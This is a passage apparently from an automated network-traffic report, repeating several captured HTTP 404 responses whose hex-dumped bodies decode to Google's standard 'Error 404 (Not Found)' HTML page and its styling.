69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1575Date: Sat, 16 Jul 2022 21:57:43 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1575Date: Sat, 16 Jul 2022 21:57:45 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1575Date: Sat, 16 Jul 2022 21:57:46 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1575Date: Sat, 16 Jul 2022 21:57:48 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1575Date: Sat, 16 Jul 2022 21:57:49 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1575Date: Sat, 16 Jul 2022 21:57:50 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 